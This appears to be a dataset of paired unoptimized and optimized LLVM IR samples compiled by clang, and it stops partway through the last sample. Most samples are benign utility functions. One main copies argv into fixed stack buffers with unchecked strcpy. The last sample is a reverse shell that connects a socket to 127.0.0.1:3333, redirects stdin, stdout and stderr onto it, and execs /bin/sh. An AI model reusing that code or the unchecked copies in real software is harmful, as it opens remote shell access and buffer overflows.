llvm-ir
stringlengths
479
303k
llvm-optimized-ir
stringlengths
468
303k
; ModuleID = '/tmp/tmp4hmo_0v0.c' source_filename = "/tmp/tmp4hmo_0v0.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @strncat(ptr noundef %0, ptr noundef %1, i64 noundef %2) #0 { %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 %6 = alloca i64, align 8 %7 = alloca i64, align 8 %8 = alloca i64, align 8 store ptr %0, ptr %4, align 8 store ptr %1, ptr %5, align 8 store i64 %2, ptr %6, align 8 %9 = load ptr, ptr %4, align 8 %10 = call i64 @strlen(ptr noundef %9) store i64 %10, ptr %7, align 8 store i64 0, ptr %8, align 8 br label %11 11: ; preds = %31, %3 %12 = load i64, ptr %8, align 8 %13 = load i64, ptr %6, align 8 %14 = icmp ult i64 %12, %13 br i1 %14, label %15, label %34 15: ; preds = %11 %16 = load ptr, ptr %5, align 8 %17 = load i64, ptr %8, align 8 %18 = getelementptr inbounds i8, ptr %16, i64 %17 %19 = load i8, ptr %18, align 1 %20 = sext i8 %19 to i32 %21 = icmp eq i32 %20, 0 br i1 %21, label %22, label %23 22: ; preds = %15 br label %34 23: ; preds = %15 %24 = load ptr, ptr %5, align 8 %25 = load i64, ptr %8, align 8 %26 = getelementptr inbounds i8, ptr %24, i64 %25 %27 = load i8, ptr %26, align 1 %28 = load ptr, ptr %4, align 8 %29 = load i64, ptr %7, align 8 %30 = getelementptr inbounds i8, ptr %28, i64 %29 store i8 %27, ptr %30, align 1 br label %31 31: ; preds = %23 %32 = load i64, ptr %8, align 8 %33 = add i64 %32, 1 store i64 %33, ptr %8, align 8 br label %11, !llvm.loop !6 34: ; preds = %22, %11 %35 = load ptr, ptr %4, align 8 %36 = load i64, ptr %7, align 8 %37 = getelementptr inbounds i8, ptr %35, i64 %36 store i8 0, ptr %37, align 1 %38 = load ptr, ptr %4, align 8 ret ptr %38 } declare i64 @strlen(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp4hmo_0v0.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @strncat(ptr noundef %0, ptr noundef %1, i64 noundef %2) #0 { %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 %6 = alloca i64, align 8 %7 = alloca i64, align 8 %8 = alloca i64, align 8 store ptr %0, ptr %4, align 8 store ptr %1, ptr %5, align 8 store i64 %2, ptr %6, align 8 %9 = load ptr, ptr %4, align 8 %10 = call i64 @strlen(ptr noundef %9) store i64 %10, ptr %7, align 8 store i64 0, ptr %8, align 8 %11 = load i64, ptr %8, align 8 %12 = load i64, ptr %6, align 8 %13 = icmp ult i64 %11, %12 br i1 %13, label %.lr.ph, label %.loopexit .lr.ph: ; preds = %3 br label %14 14: ; preds = %.lr.ph, %30 %15 = load ptr, ptr %5, align 8 %16 = load i64, ptr %8, align 8 %17 = getelementptr inbounds i8, ptr %15, i64 %16 %18 = load i8, ptr %17, align 1 %19 = sext i8 %18 to i32 %20 = icmp eq i32 %19, 0 br i1 %20, label %21, label %22 21: ; preds = %14 br label %36 22: ; preds = %14 %23 = load ptr, ptr %5, align 8 %24 = load i64, ptr %8, align 8 %25 = getelementptr inbounds i8, ptr %23, i64 %24 %26 = load i8, ptr %25, align 1 %27 = load ptr, ptr %4, align 8 %28 = load i64, ptr %7, align 8 %29 = getelementptr inbounds i8, ptr %27, i64 %28 store i8 %26, ptr %29, align 1 br label %30 30: ; preds = %22 %31 = load i64, ptr %8, align 8 %32 = add i64 %31, 1 store i64 %32, ptr %8, align 8 %33 = load i64, ptr %8, align 8 %34 = load i64, ptr %6, align 8 %35 = icmp ult i64 %33, %34 br i1 %35, label %14, label %..loopexit_crit_edge, !llvm.loop !6 ..loopexit_crit_edge: ; preds = %30 br label %.loopexit .loopexit: ; preds = %..loopexit_crit_edge, %3 br label %36 36: ; preds = %.loopexit, %21 %37 = load ptr, ptr %4, align 8 %38 = load i64, ptr %7, align 8 %39 = getelementptr inbounds i8, ptr %37, i64 %38 store i8 0, ptr %39, align 1 %40 = load ptr, ptr %4, align 8 ret ptr %40 } declare i64 @strlen(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmpr2sq1hth.c' source_filename = "/tmp/tmpr2sq1hth.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [35 x i8] c"This program takes TWO arguments.\0A\00", align 1 @EXIT_FAILURE = dso_local global i32 0, align 4 @.str.1 = private unnamed_addr constant [2 x i8] c"F\00", align 1 @.str.2 = private unnamed_addr constant [3 x i8] c"10\00", align 1 @.str.3 = private unnamed_addr constant [15 x i8] c"Invalid base.\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca ptr, align 8 %6 = alloca [8 x i8], align 1 %7 = alloca [32 x i8], align 16 %8 = alloca [32 x i8], align 16 store i32 0, ptr %3, align 4 store i32 %0, ptr %4, align 4 store ptr %1, ptr %5, align 8 %9 = load i32, ptr %4, align 4 %10 = icmp ne i32 %9, 3 br i1 %10, label %11, label %14 11: ; preds = %2 %12 = call i32 @printf(ptr noundef @.str) %13 = load i32, ptr @EXIT_FAILURE, align 4 store i32 %13, ptr %3, align 4 br label %51 14: ; preds = %2 %15 = getelementptr inbounds [8 x i8], ptr %6, i64 0, i64 0 %16 = load ptr, ptr %5, align 8 %17 = getelementptr inbounds ptr, ptr %16, i64 1 %18 = load ptr, ptr %17, align 8 %19 = call i32 @strcpy(ptr noundef %15, ptr noundef %18) %20 = getelementptr inbounds [32 x i8], ptr %7, i64 0, i64 0 %21 = load ptr, ptr %5, align 8 %22 = getelementptr inbounds ptr, ptr %21, i64 2 %23 = load ptr, ptr %22, align 8 %24 = call i32 @strcpy(ptr noundef %20, ptr noundef %23) %25 = getelementptr inbounds [8 x i8], ptr %6, i64 0, i64 0 %26 = call i64 @strcmp(ptr noundef %25, ptr noundef @.str.1) %27 = icmp ne i64 %26, 0 br i1 %27, label %28, label %35 28: ; preds = %14 %29 = getelementptr inbounds [8 x i8], ptr %6, i64 0, i64 0 %30 = call i64 @strcmp(ptr noundef %29, ptr noundef @.str.2) %31 = icmp ne i64 %30, 0 br i1 %31, label %32, label %35 32: ; preds = %28 %33 = call i32 @printf(ptr noundef @.str.3) %34 = load i32, ptr @EXIT_FAILURE, align 4 store i32 %34, ptr %3, align 4 br label %51 35: ; preds = %28, %14 %36 = getelementptr inbounds [8 x i8], ptr %6, i64 0, i64 0 %37 = call i64 @strcmp(ptr noundef %36, ptr noundef @.str.2) %38 = icmp ne i64 %37, 0 br i1 %38, label %43, label %39 39: ; preds = %35 %40 = getelementptr inbounds [32 x i8], ptr %7, i64 0, i64 0 %41 = getelementptr inbounds [32 x i8], ptr %8, i64 0, i64 0 %42 = call i32 @toBaseFib(ptr noundef %40, ptr noundef %41) br label %47 43: ; preds = %35 %44 = getelementptr inbounds [32 x i8], ptr %7, i64 0, i64 0 %45 = getelementptr inbounds [32 x i8], ptr %8, i64 0, i64 0 %46 = call i32 @toBaseDec(ptr noundef %44, ptr noundef %45) br label %47 47: ; preds = %43, %39 %48 = phi i32 [ %42, %39 ], [ %46, %43 ] %49 = getelementptr inbounds [32 x i8], ptr %8, i64 0, i64 0 %50 = call i32 @puts(ptr noundef %49) br label %51 51: ; preds = %47, %32, %11 %52 = load i32, ptr %3, align 4 ret i32 %52 } declare i32 @printf(ptr noundef) #1 declare i32 @strcpy(ptr noundef, ptr noundef) #1 declare i64 @strcmp(ptr noundef, ptr noundef) #1 declare i32 @toBaseFib(ptr noundef, ptr noundef) #1 declare i32 @toBaseDec(ptr noundef, ptr noundef) #1 declare i32 @puts(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpr2sq1hth.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [35 x i8] c"This program takes TWO arguments.\0A\00", align 1 @EXIT_FAILURE = dso_local global i32 0, align 4 @.str.1 = private unnamed_addr constant [2 x i8] c"F\00", align 1 @.str.2 = private unnamed_addr constant [3 x i8] c"10\00", align 1 @.str.3 = private unnamed_addr constant [15 x i8] c"Invalid base.\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca ptr, align 8 %6 = alloca [8 x i8], align 1 %7 = alloca [32 x i8], align 16 %8 = alloca [32 x i8], align 16 store i32 0, ptr %3, align 4 store i32 %0, ptr %4, align 4 store ptr %1, ptr %5, align 8 %9 = load i32, ptr %4, align 4 %10 = icmp ne i32 %9, 3 br i1 %10, label %11, label %14 11: ; preds = %2 %12 = call i32 @printf(ptr noundef @.str) %13 = load i32, ptr @EXIT_FAILURE, align 4 store i32 %13, ptr %3, align 4 br label %51 14: ; preds = %2 %15 = getelementptr inbounds [8 x i8], ptr %6, i64 0, i64 0 %16 = load ptr, ptr %5, align 8 %17 = getelementptr inbounds ptr, ptr %16, i64 1 %18 = load ptr, ptr %17, align 8 %19 = call i32 @strcpy(ptr noundef %15, ptr noundef %18) %20 = getelementptr inbounds [32 x i8], ptr %7, i64 0, i64 0 %21 = load ptr, ptr %5, align 8 %22 = getelementptr inbounds ptr, ptr %21, i64 2 %23 = load ptr, ptr %22, align 8 %24 = call i32 @strcpy(ptr noundef %20, ptr noundef %23) %25 = getelementptr inbounds [8 x i8], ptr %6, i64 0, i64 0 %26 = call i64 @strcmp(ptr noundef %25, ptr noundef @.str.1) %27 = icmp ne i64 %26, 0 br i1 %27, label %28, label %35 28: ; preds = %14 %29 = getelementptr inbounds [8 x i8], ptr %6, i64 0, i64 0 %30 = call i64 @strcmp(ptr noundef %29, ptr noundef @.str.2) %31 = icmp ne i64 %30, 0 br i1 %31, label %32, label %35 32: ; preds = %28 %33 = call i32 @printf(ptr noundef @.str.3) %34 = load i32, ptr @EXIT_FAILURE, align 4 store i32 %34, ptr %3, align 4 br label %51 35: ; preds = %28, %14 %36 = getelementptr inbounds [8 x i8], ptr %6, i64 0, i64 0 %37 = call i64 @strcmp(ptr noundef %36, ptr noundef @.str.2) %38 = icmp ne i64 %37, 0 br i1 %38, label %43, label %39 39: ; preds = %35 %40 = getelementptr inbounds [32 x i8], ptr %7, i64 0, i64 0 %41 = getelementptr inbounds [32 x i8], ptr %8, i64 0, i64 0 %42 = call i32 @toBaseFib(ptr noundef %40, ptr noundef %41) br label %47 43: ; preds = %35 %44 = getelementptr inbounds [32 x i8], ptr %7, i64 0, i64 0 %45 = getelementptr inbounds [32 x i8], ptr %8, i64 0, i64 0 %46 = call i32 @toBaseDec(ptr noundef %44, ptr noundef %45) br label %47 47: ; preds = %43, %39 %48 = phi i32 [ %42, %39 ], [ %46, %43 ] %49 = getelementptr inbounds [32 x i8], ptr %8, i64 0, i64 0 %50 = call i32 @puts(ptr noundef %49) br label %51 51: ; preds = %47, %32, %11 %52 = load i32, ptr %3, align 4 ret i32 %52 } declare i32 @printf(ptr noundef) #1 declare i32 @strcpy(ptr noundef, ptr noundef) #1 declare i64 @strcmp(ptr noundef, ptr noundef) #1 declare i32 @toBaseFib(ptr noundef, ptr noundef) #1 declare i32 @toBaseDec(ptr noundef, ptr noundef) #1 declare i32 @puts(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpuy27vn3b.c' source_filename = "/tmp/tmpuy27vn3b.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @print_walls(i32 noundef %0, i32 noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca i32, align 4 store i32 %0, ptr %3, align 4 store i32 %1, ptr %4, align 4 store i32 0, ptr %5, align 4 br label %6 6: ; preds = %13, %2 %7 = load i32, ptr %5, align 4 %8 = load i32, ptr %3, align 4 %9 = icmp slt i32 %7, %8 br i1 %9, label %10, label %16 10: ; preds = %6 %11 = load i32, ptr %5, align 4 %12 = call i32 @mvaddch(i32 noundef 0, i32 noundef %11, i8 noundef signext 35) br label %13 13: ; preds = %10 %14 = load i32, ptr %5, align 4 %15 = add nsw i32 %14, 1 store i32 %15, ptr %5, align 4 br label %6, !llvm.loop !6 16: ; preds = %6 store i32 0, ptr %5, align 4 br label %17 17: ; preds = %26, %16 %18 = load i32, ptr %5, align 4 %19 = load i32, ptr %3, align 4 %20 = icmp slt i32 %18, %19 br i1 %20, label %21, label %29 21: ; preds = %17 %22 = load i32, ptr %4, align 4 %23 = sub nsw i32 %22, 1 %24 = load i32, ptr %5, align 4 %25 = call i32 @mvaddch(i32 noundef %23, i32 noundef %24, i8 noundef signext 35) br label %26 26: ; preds = %21 %27 = load i32, ptr %5, align 4 %28 = add nsw i32 %27, 1 store i32 %28, ptr %5, align 4 br label %17, !llvm.loop !8 29: ; preds = %17 store i32 0, ptr %5, align 4 br label %30 30: ; preds = %37, %29 %31 = load i32, ptr %5, align 4 %32 = load i32, ptr %4, align 4 %33 = icmp slt i32 %31, %32 br i1 %33, label %34, label %40 34: ; preds = %30 %35 = load i32, ptr %5, align 4 %36 = call i32 @mvaddch(i32 noundef %35, i32 noundef 0, i8 noundef signext 35) br label %37 37: ; preds = %34 %38 = load i32, ptr %5, align 4 %39 = add nsw i32 %38, 1 store i32 %39, ptr %5, align 4 br label %30, !llvm.loop !9 40: ; preds = %30 store i32 0, ptr %5, align 4 br label %41 41: ; preds = %50, %40 %42 = load i32, ptr %5, align 4 %43 = load i32, ptr %4, align 4 %44 = icmp slt i32 %42, %43 br i1 %44, label %45, label %53 45: ; preds = %41 %46 = load i32, ptr %5, align 4 %47 = load i32, ptr %3, align 4 %48 = sub nsw i32 %47, 1 %49 = call i32 @mvaddch(i32 noundef %46, i32 noundef %48, i8 noundef signext 35) br label %50 50: ; preds = %45 %51 = load i32, ptr %5, align 4 %52 = add nsw i32 %51, 1 store i32 %52, ptr %5, align 4 br label %41, !llvm.loop !10 53: ; preds = %41 ret void } declare i32 @mvaddch(i32 noundef, i32 noundef, i8 noundef signext) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7} !9 = distinct !{!9, !7} !10 = distinct !{!10, !7}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpuy27vn3b.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @print_walls(i32 noundef %0, i32 noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca i32, align 4 store i32 %0, ptr %3, align 4 store i32 %1, ptr %4, align 4 store i32 0, ptr %5, align 4 %6 = load i32, ptr %5, align 4 %7 = load i32, ptr %3, align 4 %8 = icmp slt i32 %6, %7 br i1 %8, label %.lr.ph, label %18 .lr.ph: ; preds = %2 br label %9 9: ; preds = %.lr.ph, %12 %10 = load i32, ptr %5, align 4 %11 = call i32 @mvaddch(i32 noundef 0, i32 noundef %10, i8 noundef signext 35) br label %12 12: ; preds = %9 %13 = load i32, ptr %5, align 4 %14 = add nsw i32 %13, 1 store i32 %14, ptr %5, align 4 %15 = load i32, ptr %5, align 4 %16 = load i32, ptr %3, align 4 %17 = icmp slt i32 %15, %16 br i1 %17, label %9, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %12 br label %18 18: ; preds = %._crit_edge, %2 store i32 0, ptr %5, align 4 %19 = load i32, ptr %5, align 4 %20 = load i32, ptr %3, align 4 %21 = icmp slt i32 %19, %20 br i1 %21, label %.lr.ph2, label %33 .lr.ph2: ; preds = %18 br label %22 22: ; preds = %.lr.ph2, %27 %23 = load i32, ptr %4, align 4 %24 = sub nsw i32 %23, 1 %25 = load i32, ptr %5, align 4 %26 = call i32 @mvaddch(i32 noundef %24, i32 noundef %25, i8 noundef signext 35) br label %27 27: ; preds = %22 %28 = load i32, ptr %5, align 4 %29 = add nsw i32 %28, 1 store i32 %29, ptr %5, align 4 %30 = load i32, ptr %5, align 4 %31 = load i32, ptr %3, align 4 %32 = icmp slt i32 %30, %31 br i1 %32, label %22, label %._crit_edge3, !llvm.loop !8 ._crit_edge3: ; preds = %27 br label %33 33: ; preds = %._crit_edge3, %18 store i32 0, ptr %5, align 4 %34 = load i32, ptr %5, align 4 %35 = load i32, ptr %4, align 4 %36 = icmp slt i32 %34, %35 br i1 %36, label %.lr.ph5, label %46 .lr.ph5: ; preds = %33 br label %37 37: ; preds = %.lr.ph5, %40 %38 = load i32, ptr %5, align 4 %39 = call i32 @mvaddch(i32 noundef %38, i32 noundef 0, i8 noundef signext 35) br label %40 40: ; preds = %37 %41 = load i32, ptr %5, align 4 %42 = add nsw i32 %41, 1 store i32 %42, ptr %5, align 4 %43 = load i32, ptr %5, align 4 %44 = load i32, ptr %4, align 4 %45 = icmp slt i32 %43, %44 br i1 %45, label %37, label %._crit_edge6, !llvm.loop !9 ._crit_edge6: ; preds = %40 br label %46 46: ; preds = %._crit_edge6, %33 store i32 0, ptr %5, align 4 %47 = load i32, ptr %5, align 4 %48 = load i32, ptr %4, align 4 %49 = icmp slt i32 %47, %48 br i1 %49, label %.lr.ph8, label %61 .lr.ph8: ; preds = %46 br label %50 50: ; preds = %.lr.ph8, %55 %51 = load i32, ptr %5, align 4 %52 = load i32, ptr %3, align 4 %53 = sub nsw i32 %52, 1 %54 = call i32 @mvaddch(i32 noundef %51, i32 noundef %53, i8 noundef signext 35) br label %55 55: ; preds = %50 %56 = load i32, ptr %5, align 4 %57 = add nsw i32 %56, 1 store i32 %57, ptr %5, align 4 %58 = load i32, ptr %5, align 4 %59 = load i32, ptr %4, align 4 %60 = icmp slt i32 %58, %59 br i1 %60, label %50, label %._crit_edge9, !llvm.loop !10 ._crit_edge9: ; preds = %55 br label %61 61: ; preds = %._crit_edge9, %46 ret void } declare i32 @mvaddch(i32 noundef, i32 noundef, i8 noundef signext) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7} !9 = distinct !{!9, !7} !10 = distinct !{!10, !7}
; ModuleID = '/tmp/tmpftnshkhq.c' source_filename = "/tmp/tmpftnshkhq.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" %struct.sockaddr_in = type { %struct.TYPE_2__, i32, i32 } %struct.TYPE_2__ = type { i32 } @__const.main.client_ip = private unnamed_addr constant [10 x i8] c"127.0.0.1\00", align 1 @AF_INET = dso_local global i32 0, align 4 @SOCK_STREAM = dso_local global i32 0, align 4 @.str = private unnamed_addr constant [8 x i8] c"/bin/sh\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca [10 x i8], align 1 %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca %struct.sockaddr_in, align 4 store i32 0, ptr %1, align 4 call void @llvm.memcpy.p0.p0.i64(ptr align 1 %2, ptr align 1 @__const.main.client_ip, i64 10, i1 false) store i32 3333, ptr %4, align 4 %6 = load i32, ptr @AF_INET, align 4 %7 = load i32, ptr @SOCK_STREAM, align 4 %8 = call i32 @socket(i32 noundef %6, i32 noundef %7, i32 noundef 0) store i32 %8, ptr %3, align 4 %9 = load i32, ptr @AF_INET, align 4 %10 = getelementptr inbounds %struct.sockaddr_in, ptr %5, i32 0, i32 2 store i32 %9, ptr %10, align 4 %11 = load i32, ptr %4, align 4 %12 = call i32 @htons(i32 noundef %11) %13 = getelementptr inbounds %struct.sockaddr_in, ptr %5, i32 0, i32 1 store i32 %12, ptr %13, align 4 %14 = getelementptr inbounds [10 x i8], ptr %2, i64 0, i64 0 %15 = call i32 @inet_addr(ptr noundef %14) %16 = getelementptr inbounds %struct.sockaddr_in, ptr %5, i32 0, i32 0 %17 = getelementptr inbounds %struct.TYPE_2__, ptr %16, i32 0, i32 0 store i32 %15, ptr %17, align 4 %18 = load i32, ptr %3, align 4 %19 = call i32 @connect(i32 noundef %18, ptr noundef %5, i32 noundef 4) %20 = load i32, ptr %3, align 4 %21 = call i32 @dup2(i32 noundef %20, i32 noundef 0) %22 = load i32, ptr %3, align 4 %23 = call i32 @dup2(i32 noundef %22, i32 noundef 1) %24 = load i32, ptr %3, align 4 %25 = call i32 @dup2(i32 noundef %24, i32 noundef 2) %26 = call i32 @execve(ptr noundef @.str, ptr noundef null, ptr noundef null) ret i32 0 } ; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: readwrite) declare void @llvm.memcpy.p0.p0.i64(ptr noalias nocapture writeonly, ptr noalias nocapture readonly, i64, i1 immarg) #1 declare i32 @socket(i32 noundef, i32 noundef, i32 noundef) #2 declare i32 @htons(i32 noundef) #2 declare i32 @inet_addr(ptr noundef) #2 declare i32 @connect(i32 noundef, ptr noundef, i32 noundef) #2 declare i32 @dup2(i32 noundef, i32 noundef) #2 declare i32 @execve(ptr noundef, ptr noundef, ptr noundef) #2 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: readwrite) } attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpftnshkhq.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" %struct.sockaddr_in = type { %struct.TYPE_2__, i32, i32 } %struct.TYPE_2__ = type { i32 } @__const.main.client_ip = private unnamed_addr constant [10 x i8] c"127.0.0.1\00", align 1 @AF_INET = dso_local global i32 0, align 4 @SOCK_STREAM = dso_local global i32 0, align 4 @.str = private unnamed_addr constant [8 x i8] c"/bin/sh\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca [10 x i8], align 1 %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca %struct.sockaddr_in, align 4 store i32 0, ptr %1, align 4 call void @llvm.memcpy.p0.p0.i64(ptr align 1 %2, ptr align 1 @__const.main.client_ip, i64 10, i1 false) store i32 3333, ptr %4, align 4 %6 = load i32, ptr @AF_INET, align 4 %7 = load i32, ptr @SOCK_STREAM, align 4 %8 = call i32 @socket(i32 noundef %6, i32 noundef %7, i32 noundef 0) store i32 %8, ptr %3, align 4 %9 = load i32, ptr @AF_INET, align 4 %10 = getelementptr inbounds %struct.sockaddr_in, ptr %5, i32 0, i32 2 store i32 %9, ptr %10, align 4 %11 = load i32, ptr %4, align 4 %12 = call i32 @htons(i32 noundef %11) %13 = getelementptr inbounds %struct.sockaddr_in, ptr %5, i32 0, i32 1 store i32 %12, ptr %13, align 4 %14 = getelementptr inbounds [10 x i8], ptr %2, i64 0, i64 0 %15 = call i32 @inet_addr(ptr noundef %14) %16 = 